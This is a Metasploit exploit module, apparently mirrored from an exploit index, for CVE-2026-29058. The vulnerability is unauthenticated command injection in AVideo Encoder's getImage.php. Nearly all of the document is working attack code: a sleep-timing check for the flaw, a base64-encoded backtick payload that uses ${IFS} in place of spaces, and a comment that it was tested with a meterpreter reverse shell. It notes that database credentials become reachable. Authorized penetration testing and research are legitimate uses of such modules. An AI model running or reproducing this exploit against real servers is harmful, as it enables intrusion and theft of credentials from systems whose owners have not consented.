Exploit for AVideo Encoder getImage.php Unauthenticated Command Injection CVE-2026-29058

## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-AVIDEO_ENCODER_GETIMAGE_CMD_INJECTION-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AVideo Encoder getImage.php Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated OS command injection vulnerability
          in AVideo Encoder's getImage.php endpoint (CVE-2026-29058).

          The base64Url GET parameter is base64-decoded and injected directly into an
          ffmpeg shell command within double quotes, without any sanitization or use of
          escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell
          metacharacters such as $() in the URL path, allowing command substitution.

          A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated
          into: ffmpeg -i "{$url}" ... resulting in arbitrary command execution as www-data.

          The Encoder code is served by the main AVideo Apache container (mounted at
          /Encoder), so exploitation gives access to the main application context including
          database credentials and configuration.

          Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg()
          and shell metacharacter stripping.
        },
        'Author' => [
          'arkmarta', # Vulnerability discovery -- props to you man
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-29058'],
          ['GHSA', '9j26-99jh-v26q', 'WWBN/AVideo-Encoder']
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
              'DefaultOptions' => {
                'ENCODER' => 'generic/none',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2026-03-05',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to AVideo', '/'])
    ])
  end

  def check
    res = send_getimage('true')
    return CheckCode::Unknown('Failed to connect to the target.') unless res
    return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200

    hits = 0

    3.times do |i|
      sleep_time = rand(1..3)
      vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...")
      _, elapsed = Rex::Stopwatch.elapsed_time do
        send_getimage("sleep${IFS}#{sleep_time}")
      end

      next unless elapsed >= (sleep_time - 0.5)

      vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed")
      hits += 1
    end

    return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2

    CheckCode::Safe('getImage.php is accessible but command injection did not trigger')
  end

  def exploit
    print_status('Sending command injection via getImage.php...')
    send_getimage(payload.encoded.gsub(' ', '${IFS}'))
  end

  def send_getimage(cmd)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'Encoder', 'objects', 'getImage.php'),
      'method' => 'GET',
      'vars_get' => { 'base64Url' => Rex::Text.encode_base64("#{Faker::Internet.url}/`#{cmd}`"), 'format' => 'png' }
    })
  end
end